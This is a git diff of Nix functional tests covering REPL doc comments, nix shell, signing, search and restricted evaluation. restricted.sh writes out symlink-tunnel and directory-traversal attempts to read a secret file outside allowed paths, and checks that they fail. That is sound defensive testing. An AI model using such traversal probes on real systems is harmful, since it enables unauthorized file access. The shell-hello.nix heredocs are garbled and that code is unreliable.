/path/to/tests/functional/repl/doc-comments.nix:18:20 + +boom diff --git a/tests/functional/repl/doc-compact.in b/tests/functional/repl/doc-compact.in new file mode 100644 index 000000000..c87c4e7ab --- /dev/null +++ b/tests/functional/repl/doc-compact.in @@ -0,0 +1,2 @@ +:l doc-comments.nix +:doc compact diff --git a/tests/functional/repl/doc-constant.expected b/tests/functional/repl/doc-constant.expected new file mode 100644 index 000000000..5787e04dc --- /dev/null +++ b/tests/functional/repl/doc-constant.expected @@ -0,0 +1,110 @@ +Nix +Type :? for help. + +nix-repl> :l doc-comments.nix +Added variables. + +nix-repl> :doc constant +error: value does not have documentation + +nix-repl> :doc lib.version +Attribute `version` + + … defined at /path/to/tests/functional/repl/doc-comments.nix:30:3 + +Immovably fixed. + +nix-repl> :doc lib.attr.empty +Attribute `empty` + + … defined at /path/to/tests/functional/repl/doc-comments.nix:33:3 + +Unchangeably constant. + +nix-repl> :doc lib.attr.undocument +error: + … while evaluating the attribute 'attr.undocument' + at /path/to/tests/functional/repl/doc-comments.nix:33:3: + 32| /** Unchangeably constant. */ + 33| lib.attr.empty = { }; + | ^ + 34| + + error: attribute 'undocument' missing + at «string»:1:1: + 1| lib.attr.undocument + | ^ + Did you mean undocumented? + +nix-repl> :doc (import ./doc-comments.nix).constant +Attribute `constant` + + … defined at /path/to/tests/functional/repl/doc-comments.nix:27:3 + +Firmly rigid. + +nix-repl> :doc (import ./doc-comments.nix).lib.version +Attribute `version` + + … defined at /path/to/tests/functional/repl/doc-comments.nix:30:3 + +Immovably fixed. + +nix-repl> :doc (import ./doc-comments.nix).lib.attr.empty +Attribute `empty` + + … defined at /path/to/tests/functional/repl/doc-comments.nix:33:3 + +Unchangeably constant. + +nix-repl> :doc (import ./doc-comments.nix).lib.attr.undocumented +Attribute `undocumented` + + … defined at /path/to/tests/functional/repl/doc-comments.nix:35:3 + +No documentation found. + +nix-repl> :doc missing +error: undefined variable 'missing' + at «string»:1:1: + 1| missing + | ^ + +nix-repl> :doc constanz +error: undefined variable 'constanz' + at «string»:1:1: + 1| constanz + | ^ + +nix-repl> :doc missing.attr +error: undefined variable 'missing' + at «string»:1:1: + 1| missing.attr + | ^ + +nix-repl> :doc lib.missing +error: attribute 'missing' missing + at «string»:1:1: + 1| lib.missing + | ^ + +nix-repl> :doc lib.missing.attr +error: attribute 'missing' missing + at «string»:1:1: + 1| lib.missing.attr + | ^ + +nix-repl> :doc lib.attr.undocumental +error: + … while evaluating the attribute 'attr.undocumental' + at /path/to/tests/functional/repl/doc-comments.nix:33:3: + 32| /** Unchangeably constant. */ + 33| lib.attr.empty = { }; + | ^ + 34| + + error: attribute 'undocumental' missing + at «string»:1:1: + 1| lib.attr.undocumental + | ^ + Did you mean undocumented? diff --git a/tests/functional/repl/doc-constant.in b/tests/functional/repl/doc-constant.in new file mode 100644 index 000000000..9c0dde5e1 --- /dev/null +++ b/tests/functional/repl/doc-constant.in @@ -0,0 +1,15 @@ +:l doc-comments.nix +:doc constant +:doc lib.version +:doc lib.attr.empty +:doc lib.attr.undocument +:doc (import ./doc-comments.nix).constant +:doc (import ./doc-comments.nix).lib.version +:doc (import ./doc-comments.nix).lib.attr.empty +:doc (import ./doc-comments.nix).lib.attr.undocumented +:doc missing +:doc constanz +:doc missing.attr +:doc lib.missing +:doc lib.missing.attr +:doc lib.attr.undocumental diff --git a/tests/functional/repl/doc-floatedIn.expected b/tests/functional/repl/doc-floatedIn.expected new file mode 100644 index 000000000..82bb80b95 --- /dev/null +++ b/tests/functional/repl/doc-floatedIn.expected @@ -0,0 +1,11 @@ +Nix +Type :? for help. + +nix-repl> :l doc-comments.nix +Added variables. + +nix-repl> :doc floatedIn +Function `floatedIn`\ + … defined at /path/to/tests/functional/repl/doc-comments.nix:16:5 + +This also works. diff --git a/tests/functional/repl/doc-floatedIn.in b/tests/functional/repl/doc-floatedIn.in new file mode 100644 index 000000000..97c12408e --- /dev/null +++ b/tests/functional/repl/doc-floatedIn.in @@ -0,0 +1,2 @@ +:l doc-comments.nix +:doc floatedIn diff --git a/tests/functional/repl/doc-lambda-flavors.expected b/tests/functional/repl/doc-lambda-flavors.expected new file mode 100644 index 000000000..ab5c95639 --- /dev/null +++ b/tests/functional/repl/doc-lambda-flavors.expected @@ -0,0 +1,29 @@ +Nix +Type :? for help. + +nix-repl> :l doc-comments.nix +Added variables. + +nix-repl> :doc nonStrict +Function `nonStrict`\ + … defined at /path/to/tests/functional/repl/doc-comments.nix:37:70 + +My syntax is not strict, but I'm strict anyway. + +nix-repl> :doc strict +Function `strict`\ + … defined at /path/to/tests/functional/repl/doc-comments.nix:38:63 + +I don't have to be strict, but I am anyway. + +nix-repl> :doc strictPre +Function `strictPre`\ + … defined at /path/to/tests/functional/repl/doc-comments.nix:40:48 + +Here's one way to do this + +nix-repl> :doc strictPost +Function `strictPost`\ + … defined at /path/to/tests/functional/repl/doc-comments.nix:41:53 + +Here's another way to do this diff --git a/tests/functional/repl/doc-lambda-flavors.in b/tests/functional/repl/doc-lambda-flavors.in new file mode 100644 index 000000000..760c99636 --- /dev/null +++ b/tests/functional/repl/doc-lambda-flavors.in @@ -0,0 +1,5 @@ +:l doc-comments.nix +:doc nonStrict +:doc strict +:doc strictPre +:doc strictPost diff --git a/tests/functional/repl/doc-measurement.expected b/tests/functional/repl/doc-measurement.expected new file mode 100644 index 000000000..555cac9a2 --- /dev/null +++ b/tests/functional/repl/doc-measurement.expected @@ -0,0 +1,11 @@ +Nix +Type :? for help. + +nix-repl> :l doc-comments.nix +Added variables. + +nix-repl> :doc measurement +Function `measurement`\ + … defined at /path/to/tests/functional/repl/doc-comments.nix:13:17 + +👈 precisely this wide 👉 diff --git a/tests/functional/repl/doc-measurement.in b/tests/functional/repl/doc-measurement.in new file mode 100644 index 000000000..fecd5f9d2 --- /dev/null +++ b/tests/functional/repl/doc-measurement.in @@ -0,0 +1,2 @@ +:l doc-comments.nix +:doc measurement diff --git a/tests/functional/repl/doc-multiply.expected b/tests/functional/repl/doc-multiply.expected new file mode 100644 index 000000000..21523e24c --- /dev/null +++ b/tests/functional/repl/doc-multiply.expected @@ -0,0 +1,17 @@ +Nix +Type :? for help. + +nix-repl> :l doc-comments.nix +Added variables. + +nix-repl> :doc multiply +Function `multiply`\ + … defined at /path/to/tests/functional/repl/doc-comments.nix:10:14 + + +Perform *arithmetic* multiplication. It's kind of like repeated **addition**, very neat. + +```nix +multiply 2 3 +=> 6 +``` diff --git a/tests/functional/repl/doc-multiply.in b/tests/functional/repl/doc-multiply.in new file mode 100644 index 000000000..bffc6696f --- /dev/null +++ b/tests/functional/repl/doc-multiply.in @@ -0,0 +1,2 @@ +:l doc-comments.nix +:doc multiply diff --git a/tests/functional/repl/doc-unambiguous.expected b/tests/functional/repl/doc-unambiguous.expected new file mode 100644 index 000000000..0db5505d7 --- /dev/null +++ b/tests/functional/repl/doc-unambiguous.expected @@ -0,0 +1,11 @@ +Nix +Type :? for help. + +nix-repl> :l doc-comments.nix +Added variables. + +nix-repl> :doc unambiguous +Function `unambiguous`\ + … defined at /path/to/tests/functional/repl/doc-comments.nix:24:5 + +Very close diff --git a/tests/functional/repl/doc-unambiguous.in b/tests/functional/repl/doc-unambiguous.in new file mode 100644 index 000000000..8282a5cb9 --- /dev/null +++ b/tests/functional/repl/doc-unambiguous.in @@ -0,0 +1,2 @@ +:l doc-comments.nix +:doc unambiguous diff --git a/tests/functional/repl/pretty-print-idempotent.expected b/tests/functional/repl/pretty-print-idempotent.expected new file mode 100644 index 000000000..311855dae --- /dev/null +++ b/tests/functional/repl/pretty-print-idempotent.expected @@ -0,0 +1,37 @@ +Nix +Type :? for help. + +nix-repl> :l pretty-print-idempotent.nix +Added variables. + +nix-repl> oneDeep +{ homepage = "https://example.com"; } + +nix-repl> oneDeep +{ homepage = "https://example.com"; } + +nix-repl> twoDeep +{ + layerOne = { ... }; +} + +nix-repl> twoDeep +{ + layerOne = { ... }; +} + +nix-repl> oneDeepList +[ "https://example.com" ] + +nix-repl> oneDeepList +[ "https://example.com" ] + +nix-repl> twoDeepList +[ + [ ... ] +] + +nix-repl> twoDeepList +[ + [ ... ] +] diff --git a/tests/functional/repl/pretty-print-idempotent.in b/tests/functional/repl/pretty-print-idempotent.in new file mode 100644 index 000000000..5f865316f --- /dev/null +++ b/tests/functional/repl/pretty-print-idempotent.in @@ -0,0 +1,9 @@ +:l pretty-print-idempotent.nix +oneDeep +oneDeep +twoDeep +twoDeep +oneDeepList +oneDeepList +twoDeepList +twoDeepList diff --git a/tests/functional/repl/pretty-print-idempotent.nix b/tests/functional/repl/pretty-print-idempotent.nix new file mode 100644 index 000000000..68929f387 --- /dev/null +++ b/tests/functional/repl/pretty-print-idempotent.nix @@ -0,0 +1,19 @@ +{ + oneDeep = { + homepage = "https://" + "example.com"; + }; + twoDeep = { + layerOne = { + homepage = "https://" + "example.com"; + }; + }; + + oneDeepList = [ + ("https://" + "example.com") + ]; + twoDeepList = [ + [ + ("https://" + "example.com") + ] + ]; +} diff --git a/tests/restricted.nix b/tests/functional/restricted.nix similarity index 100% rename from tests/restricted.nix rename to tests/functional/restricted.nix diff --git a/tests/restricted.sh b/tests/functional/restricted.sh old mode 100644 new mode 100755 similarity index 61% rename from tests/restricted.sh rename to tests/functional/restricted.sh index 9bd16cf51..e5fe9c136 --- a/tests/restricted.sh +++ b/tests/functional/restricted.sh @@ -1,6 +1,8 @@ +#!/usr/bin/env bash + source common.sh -clearStore +clearStoreIfPossible nix-instantiate --restrict-eval --eval -E '1 + 2' (! nix-instantiate --eval --restrict-eval ./restricted.nix) @@ -8,14 +10,14 @@ nix-instantiate --restrict-eval --eval -E '1 + 2' nix-instantiate --restrict-eval ./simple.nix -I src=. nix-instantiate --restrict-eval ./simple.nix -I src1=simple.nix -I src2=config.nix -I src3=./simple.builder.sh +# no default NIX_PATH +(unset NIX_PATH; ! nix-instantiate --restrict-eval --find-file .) + (! nix-instantiate --restrict-eval --eval -E 'builtins.readFile ./simple.nix') -nix-instantiate --restrict-eval --eval -E 'builtins.readFile ./simple.nix' -I src=.. +nix-instantiate --restrict-eval --eval -E 'builtins.readFile ./simple.nix' -I src=../.. -(! nix-instantiate --restrict-eval --eval -E 'builtins.readDir ../src/nix-channel') -nix-instantiate --restrict-eval --eval -E 'builtins.readDir ../src/nix-channel' -I src=../src - -(! nix-instantiate --restrict-eval --eval -E 'let __nixPath = [ { prefix = "foo"; path = ./.; } ]; in ') -nix-instantiate --restrict-eval --eval -E 'let __nixPath = [ { prefix = "foo"; path = ./.; } ]; in ' -I src=. +expectStderr 1 nix-instantiate --restrict-eval --eval -E 'let __nixPath = [ { prefix = "foo"; path = ./.; } ]; in builtins.readFile ' | grepQuiet "forbidden in restricted mode" +nix-instantiate --restrict-eval --eval -E 'let __nixPath = [ { prefix = "foo"; path = ./.; } ]; in builtins.readFile ' -I src=. p=$(nix eval --raw --expr "builtins.fetchurl file://$(pwd)/restricted.sh" --impure --restrict-eval --allowed-uris "file://$(pwd)") cmp $p restricted.sh @@ -39,6 +41,18 @@ nix-instantiate --eval --restrict-eval $TEST_ROOT/restricted.nix -I $TEST_ROOT - [[ $(nix eval --raw --impure --restrict-eval -I . --expr 'builtins.readFile "${import ./simple.nix}/hello"') == 'Hello World!' ]] +# Check that we can't follow a symlink outside of the allowed paths. +mkdir -p $TEST_ROOT/tunnel.d $TEST_ROOT/foo2 +ln -sfn .. $TEST_ROOT/tunnel.d/tunnel +echo foo > $TEST_ROOT/bar + +expectStderr 1 nix-instantiate --restrict-eval --eval -E "let __nixPath = [ { prefix = \"foo\"; path = $TEST_ROOT/tunnel.d; } ]; in builtins.readFile " -I $TEST_ROOT/tunnel.d | grepQuiet "forbidden in restricted mode" + +expectStderr 1 nix-instantiate --restrict-eval --eval -E "let __nixPath = [ { prefix = \"foo\"; path = $TEST_ROOT/tunnel.d; } ]; in builtins.readDir " -I $TEST_ROOT/tunnel.d | grepQuiet "forbidden in restricted mode" + +# Reading the parents of allowed paths should show only the ancestors of the allowed paths. +[[ $(nix-instantiate --restrict-eval --eval -E "let __nixPath = [ { prefix = \"foo\"; path = $TEST_ROOT/tunnel.d; } ]; in builtins.readDir " -I $TEST_ROOT/tunnel.d) == '{ "tunnel.d" = "directory"; }' ]] + # Check whether we can leak symlink information through directory traversal. traverseDir="$(pwd)/restricted-traverse-me" ln -sfn "$(pwd)/restricted-secret" "$(pwd)/restricted-innocent" @@ -48,4 +62,6 @@ output="$(nix eval --raw --restrict-eval -I "$traverseDir" \ --expr "builtins.readFile \"$traverseDir/$goUp$(pwd)/restricted-innocent\"" \ 2>&1 || :)" echo "$output" | grep "is forbidden" -! echo "$output" | grep -F restricted-secret +echo "$output" | grepInverse -F restricted-secret + +expectStderr 1 nix-instantiate --restrict-eval true ./dependencies.nix | grepQuiet "forbidden in restricted mode" diff --git a/tests/search.nix b/tests/functional/search.nix similarity index 100% rename from tests/search.nix rename to tests/functional/search.nix diff --git a/tests/search.sh b/tests/functional/search.sh old mode 100644 new mode 100755 similarity index 69% rename from tests/search.sh rename to tests/functional/search.sh index 1a98f5b49..3fadecd02 --- a/tests/search.sh +++ b/tests/functional/search.sh @@ -1,6 +1,8 @@ +#!/usr/bin/env bash + source common.sh -clearStore +clearStoreIfPossible clearCache (( $(nix search -f search.nix '' hello | wc -l) > 0 )) @@ -17,12 +19,15 @@ clearCache # Multiple arguments will not exist (( $(nix search -f search.nix '' hello broken | wc -l) == 0 )) +# No regex should return an error +(( $(nix search -f search.nix '' | wc -l) == 0 )) + ## Search expressions # Check that empty search string matches all -nix search -f search.nix '' |grep -q foo -nix search -f search.nix '' |grep -q bar -nix search -f search.nix '' |grep -q hello +nix search -f search.nix '' ^ | grepQuiet foo +nix search -f search.nix '' ^ | grepQuiet bar +nix search -f search.nix '' ^ | grepQuiet hello ## Tests for multiple regex/match highlighting @@ -39,8 +44,8 @@ e=$'\x1b' # grep doesn't support \e, \033 or even \x1b (( $(nix search -f search.nix '' 'b' | grep -Eo "$e\[32;1mb$e\[(0|0;1)m" | wc -l) == 3 )) ## Tests for --exclude -(( $(nix search -f search.nix -e hello | grep -c hello) == 0 )) +(( $(nix search -f search.nix ^ -e hello | grep -c hello) == 0 )) -(( $(nix search -f search.nix foo --exclude 'foo|bar' | grep -Ec 'foo|bar') == 0 )) -(( $(nix search -f search.nix foo -e foo --exclude bar | grep -Ec 'foo|bar') == 0 )) -[[ $(nix search -f search.nix -e bar --json | jq -c 'keys') == '["foo","hello"]' ]] +(( $(nix search -f search.nix foo ^ --exclude 'foo|bar' | grep -Ec 'foo|bar') == 0 )) +(( $(nix search -f search.nix foo ^ -e foo --exclude bar | grep -Ec 'foo|bar') == 0 )) +[[ $(nix search -f search.nix '' ^ -e bar --json | jq -c 'keys') == '["foo","hello"]' ]] diff --git a/tests/secure-drv-outputs.nix b/tests/functional/secure-drv-outputs.nix similarity index 100% rename from tests/secure-drv-outputs.nix rename to tests/functional/secure-drv-outputs.nix diff --git a/tests/secure-drv-outputs.sh b/tests/functional/secure-drv-outputs.sh old mode 100644 new mode 100755 similarity index 97% rename from tests/secure-drv-outputs.sh rename to tests/functional/secure-drv-outputs.sh index 50a9c4428..5cc4af435 --- a/tests/secure-drv-outputs.sh +++ b/tests/functional/secure-drv-outputs.sh @@ -1,9 +1,13 @@ +#!/usr/bin/env bash + # Test that users cannot register specially-crafted derivations that # produce output paths belonging to other derivations. This could be # used to inject malware into the store. source common.sh +TODO_NixOS + clearStore startDaemon diff --git a/tests/selfref-gc.sh b/tests/functional/selfref-gc.sh old mode 100644 new mode 100755 similarity index 92% rename from tests/selfref-gc.sh rename to tests/functional/selfref-gc.sh index 3f1f50eea..518aea66b --- a/tests/selfref-gc.sh +++ b/tests/functional/selfref-gc.sh @@ -1,8 +1,10 @@ +#!/usr/bin/env bash + source common.sh requireDaemonNewerThan "2.6.0pre20211215" -clearStore +clearStoreIfPossible nix-build --no-out-link -E ' with import ./config.nix; diff --git a/tests/functional/shell-hello.nix b/tests/functional/shell-hello.nix new file mode 100644 index 000000000..c920d7cb4 --- /dev/null +++ b/tests/functional/shell-hello.nix @@ -0,0 +1,80 @@ +with import ./config.nix; + +rec { + hello = mkDerivation { + name = "hello"; + outputs = [ "out" "dev" ]; + meta.outputsToInstall = [ "out" ]; + buildCommand = + '' + mkdir -p $out/bin $dev/bin + + cat > $out/bin/hello < $dev/bin/hello2 < $out/bin/hello < $out/bin/env <&2 + exit 1 + fi + exec env + EOF + chmod +x $out/bin/env + ''; + }; + +} diff --git a/tests/shell.nix b/tests/functional/shell.nix similarity index 85% rename from tests/shell.nix rename to tests/functional/shell.nix index 92d94fbc2..9cae14b78 100644 --- a/tests/shell.nix +++ b/tests/functional/shell.nix @@ -21,19 +21,14 @@ let pkgs = rec { export PATH=$PATH:$pkg/bin done - # mimic behavior of stdenv for `$out` etc. for structured attrs. - if [ -n "''${NIX_ATTRS_SH_FILE}" ]; then - for o in "''${!outputs[@]}"; do - eval "''${o}=''${outputs[$o]}" - export "''${o}" - done - fi - declare -a arr1=(1 2 "3 4" 5) declare -a arr2=(x $'\n' $'x\ny') fun() { echo blabla } + runHook() { + eval "''${!1}" + } ''; stdenv = mkDerivation { @@ -51,8 +46,21 @@ let pkgs = rec { ASCII_PERCENT = "%"; ASCII_AT = "@"; TEST_inNixShell = if inNixShell then "true" else "false"; + FOO = fooContents; inherit stdenv; outputs = ["dev" "out"]; + } // { + shellHook = abort "Ignore non-drv shellHook attr"; + }; + + # https://github.com/NixOS/nix/issues/5431 + # See nix-shell.sh + polo = mkDerivation { + name = "polo"; + inherit stdenv; + shellHook = '' + echo Polo + ''; }; # Used by nix-shell -p diff --git a/tests/functional/shell.sh b/tests/functional/shell.sh new file mode 100755 index 000000000..c2ac3b24d --- /dev/null +++ b/tests/functional/shell.sh @@ -0,0 +1,71 @@ +#!/usr/bin/env bash + +source common.sh + +TODO_NixOS + +clearStore +clearCache + +# nix shell is an alias for nix env shell. We'll use the shorter form in the rest of the test. +nix env shell -f shell-hello.nix hello -c hello | grep 'Hello World' + +nix shell -f shell-hello.nix hello -c hello | grep 'Hello World' +nix shell -f shell-hello.nix hello -c hello NixOS | grep 'Hello NixOS' + +# Test output selection. +nix shell -f shell-hello.nix hello^dev -c hello2 | grep 'Hello2' +nix shell -f shell-hello.nix 'hello^*' -c hello2 | grep 'Hello2' + +# Test output paths that are a symlink. +nix shell -f shell-hello.nix hello-symlink -c hello | grep 'Hello World' + +# Test that symlinks outside of the store don't work. +expect 1 nix shell -f shell-hello.nix forbidden-symlink -c hello 2>&1 | grepQuiet "is not in the Nix store" + +# Test that we're not setting any more environment variables than necessary. +# For instance, we might set an environment variable temporarily to affect some +# initialization or whatnot, but this must not leak into the environment of the +# command being run. +env > $TEST_ROOT/expected-env +nix shell -f shell-hello.nix hello -c env > $TEST_ROOT/actual-env +# Remove/reset variables we expect to be different. +# - PATH is modified by nix shell +# - _ is set by bash and is expectedf to differ because it contains the original command +# - __CF_USER_TEXT_ENCODING is set by macOS and is beyond our control +sed -i \ + -e 's/PATH=.*/PATH=.../' \ + -e 's/_=.*/_=.../' \ + -e '/^__CF_USER_TEXT_ENCODING=.*$/d' \ + $TEST_ROOT/expected-env $TEST_ROOT/actual-env +sort $TEST_ROOT/expected-env > $TEST_ROOT/expected-env.sorted +sort $TEST_ROOT/actual-env > $TEST_ROOT/actual-env.sorted +diff $TEST_ROOT/expected-env.sorted $TEST_ROOT/actual-env.sorted + +if isDaemonNewer "2.20.0pre20231220"; then + # Test that command line attribute ordering is reflected in the PATH + # https://github.com/NixOS/nix/issues/7905 + nix shell -f shell-hello.nix hello salve-mundi -c hello | grep 'Hello World' + nix shell -f shell-hello.nix salve-mundi hello -c hello | grep 'Salve Mundi' +fi + +requireSandboxSupport + +chmod -R u+w $TEST_ROOT/store0 || true +rm -rf $TEST_ROOT/store0 + +clearStore + +path=$(nix eval --raw -f shell-hello.nix hello) + +# Note: we need the sandbox paths to ensure that the shell is +# visible in the sandbox. +nix shell --sandbox-build-dir /build-tmp \ + --sandbox-paths '/nix? /bin? /lib? /lib64? /usr?' \ + --store $TEST_ROOT/store0 -f shell-hello.nix hello -c hello | grep 'Hello World' + +path2=$(nix shell --sandbox-paths '/nix? /bin? /lib? /lib64? /usr?' --store $TEST_ROOT/store0 -f shell-hello.nix hello -c $SHELL -c 'type -p hello') + +[[ $path/bin/hello = $path2 ]] + +[[ -e $TEST_ROOT/store0/nix/store/$(basename $path)/bin/hello ]] diff --git a/tests/functional/shell.shebang.expr b/tests/functional/shell.shebang.expr new file mode 100755 index 000000000..c602dedbf --- /dev/null +++ b/tests/functional/shell.shebang.expr @@ -0,0 +1,9 @@ +#! @ENV_PROG@ nix-shell +#! nix-shell "{ script, path, ... }: assert path == ./shell.nix; script { }" +#! nix-shell --no-substitute +#! nix-shell --expr +#! nix-shell --arg script "import ./shell.nix" +#! nix-shell --arg path "./shell.nix" +#! nix-shell -A shellDrv +#! nix-shell -i bash +echo "$FOO" diff --git a/tests/functional/shell.shebang.legacy.expr b/tests/functional/shell.shebang.legacy.expr new file mode 100755 index 000000000..490542f43 --- /dev/null +++ b/tests/functional/shell.shebang.legacy.expr @@ -0,0 +1,10 @@ +#! @ENV_PROG@ nix-shell +#! nix-shell "{ script, path, ... }: assert path == ./shell.nix; script { fooContents = toString ./.; }" +#! nix-shell --no-substitute +#! nix-shell --expr +#! nix-shell --arg script "import ((builtins.getEnv ''TEST_ROOT'')+''/shell.nix'')" +#! nix-shell --arg path "./shell.nix" +#! nix-shell -A shellDrv +#! nix-shell -i bash +#! nix-shell --option nix-shell-shebang-arguments-relative-to-script false +echo "$FOO" diff --git a/tests/functional/shell.shebang.nix b/tests/functional/shell.shebang.nix new file mode 100755 index 000000000..08e43d53c --- /dev/null +++ b/tests/functional/shell.shebang.nix @@ -0,0 +1,10 @@ +#! @ENV_PROG@ nix-shell +#! nix-shell -I nixpkgs=shell.nix --no-substitute +#! nix-shell --argstr s1 'foo "bar" \baz'"'"'qux' --argstr s2 "foo 'bar' \"\baz" --argstr s3 \foo\ bar\'baz --argstr s4 '' +#! nix-shell shell.shebang.nix --command true +{ s1, s2, s3, s4 }: +assert s1 == ''foo "bar" \baz'qux''; +assert s2 == "foo 'bar' \"baz"; +assert s3 == "foo bar'baz"; +assert s4 == ""; +(import {}).runCommand "nix-shell" {} "" diff --git a/tests/shell.shebang.rb b/tests/functional/shell.shebang.rb similarity index 100% rename from tests/shell.shebang.rb rename to tests/functional/shell.shebang.rb diff --git a/tests/shell.shebang.sh b/tests/functional/shell.shebang.sh similarity index 100% rename from tests/shell.shebang.sh rename to tests/functional/shell.shebang.sh diff --git a/tests/functional/signing.sh b/tests/functional/signing.sh new file mode 100755 index 000000000..8ec093a48 --- /dev/null +++ b/tests/functional/signing.sh @@ -0,0 +1,112 @@ +#!/usr/bin/env bash + +source common.sh + +clearStoreIfPossible +clearCache + +nix-store --generate-binary-cache-key cache1.example.org "$TEST_ROOT"/sk1 "$TEST_ROOT"/pk1 +pk1=$(cat "$TEST_ROOT"/pk1) +nix-store --generate-binary-cache-key cache2.example.org "$TEST_ROOT"/sk2 "$TEST_ROOT"/pk2 +pk2=$(cat "$TEST_ROOT"/pk2) + +# Build a path. +outPath=$(nix-build dependencies.nix --no-out-link --secret-key-files "$TEST_ROOT/sk1 $TEST_ROOT/sk2") + +# Verify that the path got signed. +info=$(nix path-info --json "$outPath") +echo "$info" | jq -e '.[] | .ultimate == true' +TODO_NixOS # looks like an actual bug? Following line fails on NixOS: +echo "$info" | jq -e '.[] | .signatures.[] | select(startswith("cache1.example.org"))' +echo "$info" | jq -e '.[] | .signatures.[] | select(startswith("cache2.example.org"))' + +# Test "nix store verify". +nix store verify -r "$outPath" + +expect 2 nix store verify -r "$outPath" --sigs-needed 1 + +nix store verify -r "$outPath" --sigs-needed 1 --trusted-public-keys "$pk1" + +expect 2 nix store verify -r "$outPath" --sigs-needed 2 --trusted-public-keys "$pk1" + +nix store verify -r "$outPath" --sigs-needed 2 --trusted-public-keys "$pk1 $pk2" + +nix store verify --all --sigs-needed 2 --trusted-public-keys "$pk1 $pk2" + +# Build something unsigned. +outPath2=$(nix-build simple.nix --no-out-link) + +nix store verify -r "$outPath" + +# Verify that the path did not get signed but does have the ultimate bit. +info=$(nix path-info --json "$outPath2") +echo "$info" | jq -e '.[] | .ultimate == true' +echo "$info" | jq -e '.[] | .signatures == []' + +# Test "nix store verify". +nix store verify -r "$outPath2" + +expect 2 nix store verify -r "$outPath2" --sigs-needed 1 + +expect 2 nix store verify -r "$outPath2" --sigs-needed 1 --trusted-public-keys "$pk1" + +# Test "nix store sign". +nix store sign --key-file "$TEST_ROOT"/sk1 "$outPath2" + +nix store verify -r "$outPath2" --sigs-needed 1 --trusted-public-keys "$pk1" + +# Build something content-addressed. +outPathCA=$(IMPURE_VAR1=foo IMPURE_VAR2=bar nix-build ./fixed.nix -A good.0 --no-out-link) + +nix path-info --json "$outPathCA" | jq -e '.[] | .ca | startswith("fixed:md5:")' + +# Content-addressed paths don't need signatures, so they verify +# regardless of --sigs-needed. +nix store verify "$outPathCA" +nix store verify "$outPathCA" --sigs-needed 1000 + +# Check that signing a content-addressed path doesn't overflow validSigs +nix store sign --key-file "$TEST_ROOT"/sk1 "$outPathCA" +nix store verify -r "$outPathCA" --sigs-needed 1000 --trusted-public-keys "$pk1" + +# Copy to a binary cache. +nix copy --to file://"$cacheDir" "$outPath2" + +# Verify that signatures got copied. +info=$(nix path-info --store file://"$cacheDir" --json "$outPath2") +echo "$info" | jq -e '.[] | .ultimate == false' +echo "$info" | jq -e '.[] | .signatures.[] | select(startswith("cache1.example.org"))' +echo "$info" | expect 4 jq -e '.[] | .signatures.[] | select(startswith("cache2.example.org"))' + +# Verify that adding a signature to a path in a binary cache works. +nix store sign --store file://"$cacheDir" --key-file "$TEST_ROOT"/sk2 "$outPath2" +info=$(nix path-info --store file://"$cacheDir" --json "$outPath2") +echo "$info" | jq -e '.[] | .signatures.[] | select(startswith("cache1.example.org"))' +echo "$info" | jq -e '.[] | .signatures.[] | select(startswith("cache2.example.org"))' + +# Copying to a diverted store should fail due to a lack of signatures by trusted keys. +chmod -R u+w "$TEST_ROOT"/store0 || true +rm -rf "$TEST_ROOT"/store0 + +# Fails or very flaky only on GHA + macOS: +# expectStderr 1 nix copy --to $TEST_ROOT/store0 $outPath | grepQuiet -E 'cannot add path .* because it lacks a signature by a trusted key' +# but this works: +(! nix copy --to "$TEST_ROOT"/store0 "$outPath") + +# But succeed if we supply the public keys. +nix copy --to "$TEST_ROOT"/store0 "$outPath" --trusted-public-keys "$pk1" + +expect 2 nix store verify --store "$TEST_ROOT"/store0 -r "$outPath" + +nix store verify --store "$TEST_ROOT"/store0 -r "$outPath" --trusted-public-keys "$pk1" +nix store verify --store "$TEST_ROOT"/store0 -r "$outPath" --sigs-needed 2 --trusted-public-keys "$pk1 $pk2" + +# It should also succeed if we disable signature checking. +(! nix copy --to "$TEST_ROOT"/store0 "$outPath2") +nix copy --to "$TEST_ROOT"/store0?require-sigs=false "$outPath2" + +# But signatures should still get copied. +nix store verify --store "$TEST_ROOT"/store0 -r "$outPath2" --trusted-public-keys "$pk1" + +# Content-addressed stuff can be copied without signatures. +nix copy --to "$TEST_ROOT"/store0 "$outPathCA" diff --git a/tests/simple-failing.nix b/tests/functional/simple-failing.nix similarity index 100% rename from tests/simple-failing.nix rename to tests/functional/simple-failing.nix diff --git a/tests/simple.builder.sh b/tests/functional/simple.builder.sh similarity index 68% rename from tests/simple.builder.sh rename to tests/functional/simple.builder.sh index 569e8ca88..97abf0676 100644 --- a/tests/simple.builder.sh +++ b/tests/functional/simple.builder.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + echo "PATH=$PATH" # Verify that the PATH is empty. @@ -5,7 +7,6 @@ if mkdir foo 2> /dev/null; then exit 1; fi # Set a PATH (!!! impure). export PATH=$goodPath +mkdir "$out" -mkdir $out - -echo "Hello World!" > $out/hello \ No newline at end of file +echo "Hello World!" > "$out"/hello diff --git a/tests/simple.nix b/tests/functional/simple.nix similarity index 66% rename from tests/simple.nix rename to tests/functional/simple.nix index 4223c0f23..2035ca294 100644 --- a/tests/simple.nix +++ b/tests/functional/simple.nix @@ -5,4 +5,5 @@ mkDerivation { builder = ./simple.builder.sh; PATH = ""; goodPath = path; + meta.position = "${__curPos.file}:${toString __curPos.line}"; } diff --git a/tests/simple.sh b/tests/functional/simple.sh old mode 100644 new mode 100755 similarity index 65% rename from tests/simple.sh rename to tests/functional/simple.sh index 50d44f93f..8afa369c2 --- a/tests/simple.sh +++ b/tests/functional/simple.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh drvPath=$(nix-instantiate simple.nix) @@ -10,23 +12,25 @@ outPath=$(nix-store -rvv "$drvPath") echo "output path is $outPath" -(! [ -w $outPath ]) +[[ ! -w $outPath ]] -text=$(cat "$outPath"/hello) +text=$(cat "$outPath/hello") if test "$text" != "Hello World!"; then exit 1; fi +TODO_NixOS + # Directed delete: $outPath is not reachable from a root, so it should # be deleteable. -nix-store --delete $outPath -(! [ -e $outPath/hello ]) +nix-store --delete "$outPath" +[[ ! -e $outPath/hello ]] -outPath="$(NIX_REMOTE=local?store=/foo\&real=$TEST_ROOT/real-store nix-instantiate --readonly-mode hash-check.nix)" +outPath="$(NIX_REMOTE='local?store=/foo&real='"$TEST_ROOT"'/real-store' nix-instantiate --readonly-mode hash-check.nix)" if test "$outPath" != "/foo/lfy1s6ca46rm5r6w4gg9hc0axiakjcnm-dependencies.drv"; then echo "hashDerivationModulo appears broken, got $outPath" exit 1 fi 